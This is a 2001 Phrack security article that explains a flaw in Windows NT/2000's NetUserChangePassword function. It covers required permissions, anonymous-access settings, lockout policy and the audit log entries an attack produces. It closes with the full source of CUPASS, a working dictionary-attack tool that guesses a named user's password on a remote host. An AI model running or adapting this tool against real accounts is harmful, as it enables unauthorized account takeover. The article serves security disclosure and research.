cupass.txt 20 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808
  1. ==Phrack Inc.==
  2. Volume 0x0b, Issue 0x39, Phile #0x10 of 0x12
  3. |=---------=[ CUPASS AND THE NETUSERCHANGEPASSWORD PROBLEM ]=------------=|
  4. |=-----------------------------------------------------------------------=|
  5. |=--------------=[ Doc Holiday / THC <holiday@thc.org> ]=----------------=|
  6. ----| INTRODUCTION
  7. Microsoft has a known problem in Windows NT 4, that enables an attacker
  8. to change the password of any user under special/default circumstances.
  9. The same problem reappeared in Windows 2000 some days ago. The flaw exists
  10. in Microsofts implementation of the NetUserChangePassword function.
  11. These facts inspired me to write this article and CUPASS, a simple tool
  12. that starts a dictionary attack against user accounts.
  13. In this article I want to discuss all things worth knowing about the
  14. NetUserChangePassword problem.
  15. Have fun while reading this article...
  16. Doc Holiday /THC
  17. ----| THE PASSWORD CHANGE PROTOCOLS
  18. As a little background I will tell you something about the possibilites
  19. to change a password in a Windows NT/W2K environment.
  20. Windows 2000 supports several protocols for changing passwords which
  21. are used under different circumstances.
  22. These protocols are
  23. - NetUserChangePassword protocol (we will call it NUCP)
  24. - NetUserSetInfo protocol
  25. - Kerberos change-password protocol
  26. - Kerberos set-password protocol
  27. - LDAP write-password attribute (presumes 128Bit SSL)
  28. - XACT-SMB protocol (for LAN Manager compatibility)
  29. Because there is a flaw in Microsofts implementation of the NUCP protocol,
  30. we will have a deeper look at this one.
  31. ----| PROTOCOL ELECTION
  32. We can see that there are a lot of protocols for changing passwords in an
  33. Microsoft environment. Now I will show in which cases the NUCP is used:
  34. case 1
  35. ------
  36. If a user changes his password by pressing CTRL+ALT+DELETE and pressing the
  37. "Change Password" button, the NUCP protocol is used, if the target is a
  38. domain or the local member server or workstation.
  39. If the target is a Kerberos realm, the Kerberos change-password protocol is
  40. used instead of NUCP.
  41. case 2
  42. ------
  43. If a change password request is initiated from an Windows NT 3.x or NT 4
  44. machine, the NUCP and/or NetUserSetInfo protocols are used.
  45. case 3
  46. ------
  47. If a program uses the NUCP method on the Active Directory Services
  48. Interface (ADSI), the IaDSUser interface first tries to change the
  49. password with the LDAP protocol, and then by using the NUCP method.
  50. ----| NUCP FUNCTION CALL
  51. At this time we know that a lot of ways exist to change a users
  52. password. We also know in which cases NUCP is used.
  53. Now we want to have a little look at the function NetUserChangePassword
  54. itself. (More detailed information can be found at Microsoft's SDK!)
  55. Prototype
  56. ---------
  57. The prototype of the NetUserChangePassword function is defined in
  58. "lmaccess.h", and looks as follows:
  59. NET_API_STATUS NET_API_FUNCTION
  60. NetUserChangePassword (
  61. IN LPCWSTR domainname OPTIONAL,
  62. IN LPCWSTR username OPTIONAL,
  63. IN LPCWSTR oldpassword,
  64. IN LPCWSTR newpassword
  65. );
  66. The parameters are explained consecutively:
  67. Parameters
  68. ----------
  69. ->domainname
  70. ----------
  71. Pointer to a null-terminated Unicode string that specifies the name of a
  72. remote server or domain.
  73. ->username
  74. --------
  75. Pointer to a null-terminated Unicode string that specifies a user name.
  76. ->oldpassword
  77. -----------
  78. Pointer to a null-terminated Unicode string that specifies the user's
  79. old password on the server or domain.
  80. ->newpassword
  81. -----------
  82. Pointer to a null-terminated Unicode string that specifies the user's new
  83. password on the server or domain.
  84. Return values
  85. -------------
  86. The return values are defined in "LMERR.H" and "WINERROR.H".
  87. With a deeper look in this files we can see that if the function was executed
  88. with success, the return value is 0 (zero) btw. NERR_Success.
  89. The most important error values are:
  90. ->ERROR_ACCESS_DENIED (WINERROR.H)
  91. --------------------------------
  92. Access is denied ;)
  93. If the target is a NT Server/Domain Controller, and the
  94. option "User Must Log On in Order to Change Password" is enabled,
  95. this error code is the result of CUPASS. The password could
  96. not be guessed :(
  97. If the target is a W2K domain controller with AD installed,
  98. and the EVERYONE group is removed from the group
  99. "Pre-Windows 2000 compatible access", than this error code
  100. is an result of NUCP.
  101. In some cases this means the right password was guessed by
  102. CUPASS, but could not be changed because of insufficient
  103. permissions on the corresponding AD object.
  104. ->ERROR_INVALID_PASSWORD (WINERROR.H)
  105. -----------------------------------
  106. The guessed password (oldpassword) was invalid
  107. ->ERROR_ACCOUNT_LOCKED_OUT (WINERROR.H)
  108. -------------------------------------
  109. The account is locked due to many logon tries.
  110. ->ERROR_CANT_ACCESS_DOMAIN_INFO (WINERROR.H)
  111. ------------------------------------------
  112. Indicates a Windows NT Server could not be contacted or that
  113. objects within the domain are protected such that necessary
  114. information could not be retrieved.
  115. ->NERR_UserNotFound (LMERR.H)
  116. ---------------------------
  117. The useraccount could not be found on the given server.
  118. ->NERR_NotPrimary (LMERR.H)
  119. -------------------------
  120. The operation is only allowed on the PDC. This appears e.g. if
  121. you try to change passwords on a BDC.
  122. This return values are evaluated by CUPASS. For all others, the numeric
  123. value will be shown, and you can simply have a look at this files for
  124. the meaning of the errorcode.
  125. MORE DETAILS ON NUCP API CALL
  126. -----------------------------
  127. The NUCP function is only available on Windows NT and Windows 2000
  128. platforms.
  129. As part of the LanMan-API the NUCP function is UNICODE only!!!
  130. This makes the programming a little bit harder, but not impossible :)
  131. UNICODE on Windows is an topic for itself, and we dont want to talk more
  132. about it here. Have a look at Microsofts msdn webpage or Charles
  133. Petzolds book about Windows programming, if you are interested in this
  134. topic.
  135. For a successfull usage of NUCP, you have to link your program with the
  136. "Netapi32.lib" library!
  137. ----| REQUIRED PERMISSIONS FOR NUCP
  138. NUCP is part of the Microsoft network management functions.
  139. The management functions consists of different groups like
  140. NetFileFunctions, ScheduleFunctions, ServerFunctions, UserFunctions etc.
  141. These functions are again splitted in Query Functions and Update Functions.
  142. Whilst query functions just allow to query informations, the update
  143. functions allow changes on objects.
  144. An example for a query function is e.g the NetUserEnum function which
  145. provides information about all user accounts on a server.
  146. An example for an update function is the NetUserChangePassword function
  147. which changes the password of a user account :)
  148. Its easy to imagine, that query functions need less permissions than update
  149. functions for beeing executed.
  150. Lets have a look what permissions are needet:
  151. WINDOWS NT
  152. ----------
  153. The query functions like NetGroupEnum, NetUserEnum etc. and can be
  154. executed by all authenticated users.
  155. This includes Anonymous users, if the RestrictAnonymous policy setting
  156. allows anonymous access.
  157. On a Windows NT member server, workstation or PDC, the
  158. NetUserChangePassword function can only be (successfull) executed by
  159. Administrators, Account Operators or the user of the account, if the option
  160. 'User Must Log On in Order to Change Password' for this user is enabled.
  161. If 'User Must Log On in Order to Change Password' is not enabled, a user can
  162. change the password of any other user, as long he knows the actual password.
  163. WINDOWS 2000
  164. ------------
  165. The query functions like NetGroupEnum, NetUserEnum etc. can be executed by
  166. all authenticated users. This includes Anonymous users, if the
  167. RestrictAnonymous policy setting allows anonymous access.
  168. On a W2K member server or workstation the NetUserChangePassword function
  169. should only be (successfully) executable by Administrators, Account
  170. Operators or the user of the account.
  171. That this isn't the case, can be shown with CUPASS, because here is the
  172. flaw that Microsoft made with his implementation of NetUserChangePassword.
  173. On W2K member servers and workstations, the NetUserChangePassword function
  174. can be successfully executed by any user who knows the current password of
  175. the attacked user account.
  176. ( For your information:
  177. The option 'User Must Log On in Order to Change Password' has been removed
  178. >from W2K! )
  179. On a W2K domain controller with Active Directory, access to an object is
  180. granted based on the ACL of the object (Because W2K with installed AD
  181. stores the user passwords in the AD in contrast to NT 3.x/4).
  182. Network management query functions are permitted to all authenticated
  183. users and the members of the group "Pre-Windows 2000 compatible access"
  184. by the default ACL's.
  185. Theoretical Network Management Update functions like NUCP are only
  186. permitted to Administrators and Account Operators.
  187. That this is not the case, can also be shown with CUPASS.
  188. CUPASS works fine if AD is installed on the target system.
  189. If the "everyone" group is removed from the
  190. "Pre-Windows 2000 compatible access" group, the result of CUPASS will
  191. be Errorcode 5, which means ACCESS_DENIED!.
  192. My research shows that anyhow the password is guessed by CUPASS, but
  193. can not be changed because of insufficient permissions on the AD object!
  194. ----| ANONYMOUS CONNECT
  195. There is something I didn't talk about much, the Anonymous User Problem,
  196. also known as the NULL-User problem.
  197. Lets have a short look at how the Anonymous security settings will take affect
  198. to the NUCP problem:
  199. -> W2K
  200. ---
  201. The value Data of the following registry value regulates the behaviour
  202. of the operating system regarding to the NULL USER CONNECT.
  203. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA
  204. Value: RestrictAnonymous
  205. Value Type: REG_DWORD
  206. If RestrictAnonymous is set to 0 (zero), which is the default setting,
  207. CUPASS will work properly.
  208. If RestrictAnonymous is set to 1, what means the enumeration of SAM
  209. accounts and names is not allowed, CUPASS will work properly.
  210. If RestrictAnonymous is set to 2, what means no access without explicit
  211. anonymous permissions, there is no possibility to change the password
  212. with NUCP :(
  213. Because the value 2 has comprehensive consequences to the behaviour of
  214. the windows environment (e.g. Browser service will not work properly,
  215. netlogon secure channels could not be established properly by member
  216. workstations etc..) it is rare used.
  217. These settings are the same on W2K member server and W2K DC with AD!
  218. -> NT4
  219. ---
  220. The value Data of the following registry value regulates the behaviour
  221. of the operating system regarding to the NULL USER CONNECT.
  222. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA
  223. Value: RestrictAnonymous
  224. Value Type: REG_DWORD
  225. Converse to W2K there are only two valid values 0 (zero) and 1 for
  226. RestrictAnonymous.
  227. If RestrictAnonymous is set to 0 (zero), which is the default setting,
  228. CUPASS will work properly.
  229. If RestrictAnonymous is set to 1, what means the enumeration of SAM
  230. accounts and names is not allowed, CUPASS will work properly.
  231. COMMON
  232. ------
  233. The process that calls the NetUserChangePassword function in some cases
  234. must have the SE_CHANGE_NOTIFY_NAME privilege
  235. (except for system account and members of the local Administrator group).
  236. Per default this privilege is enabled for every account, but can be
  237. disabled by the administrator.
  238. SE_CHANGE_NOTIFY_NAME could not be found at the privileges,
  239. because it is called "Bypass traverse checking"!
  240. This is an declarative from Microsoft. I tried it, but I didn't find a case
  241. in that this right was necessary to execute the NUCP function call.
  242. ----| POLICY AND LOGGING
  243. I will have a look for the policy settings, that will take affect to the
  244. NUCP problem.
  245. ACCOUNT POLICIES
  246. ----------------
  247. ->PASSWORD POLICY
  248. ---------------
  249. The settings "Enforce password history" and "Minimum password age"
  250. will take effect to the result of CUPASS, in the way that CUPASS can't
  251. "realy" change the password, and the error code 2245 will result.
  252. But this doesn't matter, because we know the "old" password at this time,
  253. and CUPASS just tried to replace the "old" password with the "old"
  254. password again.
  255. ->ACCOUNT LOGOUT POLICY
  256. ---------------------
  257. Account lockout treshold
  258. ------------------------
  259. The settings "Account lockout duration" and
  260. "Reset Account lockout after ..." are only relevant if the
  261. "Account lockout treshold" ist set to any value >0.
  262. If the treshold is set, than this takes affect to the work of CUPASS,
  263. because all attempts of CUPASS exceeding the treshold will lead to an
  264. account lockout :(
  265. However the Logout Policy ist not valid for the Administrator on NT4
  266. environments, until the NT Reskit tool "Passprop" is used!
  267. In this case even the Administator account will be locked
  268. for network logons!
  269. If we start CUPASS against any account of a W2K server or a W2K domain
  270. controller with AD, this account is locked out, and even the
  271. Administrator account is marked as "Account is locked out", too !
  272. But it is still possible for the Administrator account to log on
  273. interactive on the machine!
  274. AUDIT POLICY
  275. ------------
  276. Lets have a look which auditing events have to enabled, to see an
  277. CUPASS attack in the security logs of the target machine.
  278. Audit Account Management
  279. ------------------------
  280. If the setting "Audit Account Management" is enabled (success/failure),
  281. an entry with the ID 627 appears in in the security log.
  282. This entry contains all necessary datas for the administrator :(
  283. These e.g. are: Date, Time, Target Account Name, Caller User Name etc.
  284. Audit account logon events
  285. --------------------------
  286. Surprisingly for some administrators, there appears no log entry if
  287. the settings "Audit account logon events" or "Audit logon events"
  288. are enabled, if the attack goes to the local machine.
  289. This is e.g. the case if you want to guess the local administrator
  290. password of your machine.
  291. If the CUPASS attack comes from remote, log entries ID 681 and ID 529
  292. occures.
  293. Audit Object Access
  294. -------------------
  295. If this type of auditing is enabled, and the attack goes to the
  296. local machine, an logfile entry with the ID 560 and 562 appears.
  297. ID 560 tells us that someone opened the object
  298. "Security Account Manager" whilst 562 tells us something like
  299. "Handle closed"...
  300. Maybe there occure some more logfile entries with other ID's, but these
  301. ones listed above are the ones I found while testing CUPASS.
  302. So test CUPASS on your own environment and have a look into your logfiles!
  303. ----| LAST WORDS
  304. I hope this article could give you a little overview about the
  305. NetUserChangePassword problem, and Microsoft's inconsequent implementation
  306. of security and function calls.
  307. This article could not treat this topic concluding, because there are
  308. so many different situations and configurations that I could not test
  309. in my short sparetime :)
  310. ----| GREETS
  311. Greets to Van Hauser who inspired me for this release, ganymed, mindmaniac
  312. and all the other members from THC, VAX who gives me a lift to HAL2001,
  313. the guys from TESO, Seth, Rookie and all the other people knowing me...
  314. The biggest THANX are going to my wife, who missed me nearly the whole
  315. weekend while I was writing this article!
  316. Ok, have a nice day and lets meet and party at HAL2001 :)
  317. <++> cupass.cpp !a10c7302
  318. /*
  319. * CUPASS v1.0 (c) 2001 by Doc Holiday / THC <Holiday@thc.org>
  320. * http://www.hackerschoice.com
  321. *
  322. * Dictionary Attack against Windows Passwords with NetUserChangePassword.
  323. * Do only use for legal purposes.
  324. *
  325. * Compiled and tested on Windows NT/W2K - runs not on Win9x!!
  326. * Compiled with VC++ 6.0
  327. *
  328. */
  329. #define UNICODE 1
  330. #define _UNICODE 1
  331. #include <windows.h>
  332. #include <lmaccess.h>
  333. #include <stdio.h>
  334. #include <wchar.h>
  335. #pragma comment( lib, "netapi32.lib" )
  336. void wmain( int argc, wchar_t *argv[] )
  337. {
  338. wchar_t *hostname = 0;
  339. wchar_t *username = 0;
  340. wchar_t *dictfile = 0;
  341. wchar_t myChar[256];
  342. NET_API_STATUS result;
  343. FILE *stream;
  344. LPWSTR oldpassword;
  345. if (argc != 4)
  346. {
  347. wprintf (L"\nMissing or wrong parameters!\n");
  348. wprintf (
  349. L"\nUsage: cupass \\\\hostname username dictionaryfile\n");
  350. exit(1);
  351. }
  352. hostname = argv[1];
  353. username = argv[2];
  354. dictfile = argv[3];
  355. if (wcsncmp(hostname, L"\\\\",2 )!=0)
  356. {
  357. wprintf (L"\nups... you forgot the double backslash?");
  358. wprintf (
  359. L"\nUsage: cupass \\\\hostname username dictionaryfile\n");
  360. exit(1);
  361. }
  362. if( (stream = _wfopen( dictfile, L"r" )) == NULL )
  363. {
  364. wprintf( L"\nups... dictionary %s could not be opened", dictfile );
  365. wprintf (L"\nUsage: cupass \\\\hostname username dictionaryfile\n");
  366. }
  367. else
  368. {
  369. wprintf (L"\n*** CUPASS 1.0 - Change User PASSword - by Doc Holiday/THC (c) 2001 ***\n");
  370. wprintf (L"\nStarting attack .....\n");
  371. wprintf (L"\nTarget: %s ", hostname);
  372. wprintf (L"\nUser: %s\n ", username);
  373. while( !feof( stream ) )
  374. {
  375. fgetws (myChar, 256,stream);
  376. if (myChar[wcslen(myChar)-1] == '\r') myChar[wcslen(myChar)-1] = '\0';
  377. if (myChar[wcslen(myChar)-1] == '\n') myChar[wcslen(myChar)-1] = '\0';
  378. oldpassword = myChar;
  379. wprintf( L"\nTrying password %s \n", oldpassword );
  380. result = NetUserChangePassword( hostname, username,oldpassword, oldpassword );
  381. switch (result)
  382. {
  383. case 0:
  384. wprintf( L"GOTCHA!! Password was changed\n" );
  385. wprintf( L"\nPassword from user '%s' is '%s'\n", username, oldpassword);
  386. fclose (stream);
  387. exit (1);
  388. break;
  389. case 5: //ERROR_ACCESS_DENIED
  390. wprintf (L"Attempt failed -> ERROR_ACCESS_DENIED - But password could be %s\n", oldpassword);
  391. fclose (stream);
  392. exit(1);
  393. break;
  394. case 86: //ERROR_INVALID_PASSWORD
  395. wprintf( L"Attempt failed -> Incorrect password\n" );
  396. break;
  397. case 1351: //ERROR_CANT_ACCESS_DOMAIN_INFO
  398. wprintf (L"Attempt failed -> Can't establish connection to Host %s\n",hostname);
  399. fclose (stream);
  400. exit(1);
  401. break;
  402. case 1909: //ERROR_ACCOUNT_LOCKED_OUT
  403. wprintf (L"Attempt failed -> Account locked out\n");
  404. fclose (stream);
  405. exit(1);
  406. break;
  407. case 2221: //NERR_UserNotFound)
  408. wprintf (L"Attempt failed -> User %s not found\n", username);
  409. fclose (stream);
  410. exit(1);
  411. break;
  412. case 2226://NERR_NotPrimary
  413. wprintf (L"Attempt failed -> Operation only allowed on PDC\n");
  414. break;
  415. case 2245:
  416. wprintf (L"GOTCHA!! Password is '%s' , but couldn't be changed to '%s' due to password policy settings!\n", oldpassword, oldpassword);
  417. fclose(stream);
  418. exit(1);
  419. break;
  420. default:
  421. wprintf( L"\nAttempt failed :( %lu\n", result );
  422. fclose(stream);
  423. exit(1);
  424. break;
  425. }
  426. }
  427. fclose (stream);
  428. }
  429. }
  430. <--> end cupass.cpp
  431. |=[ EOF ]=---------------------------------------------------------------=|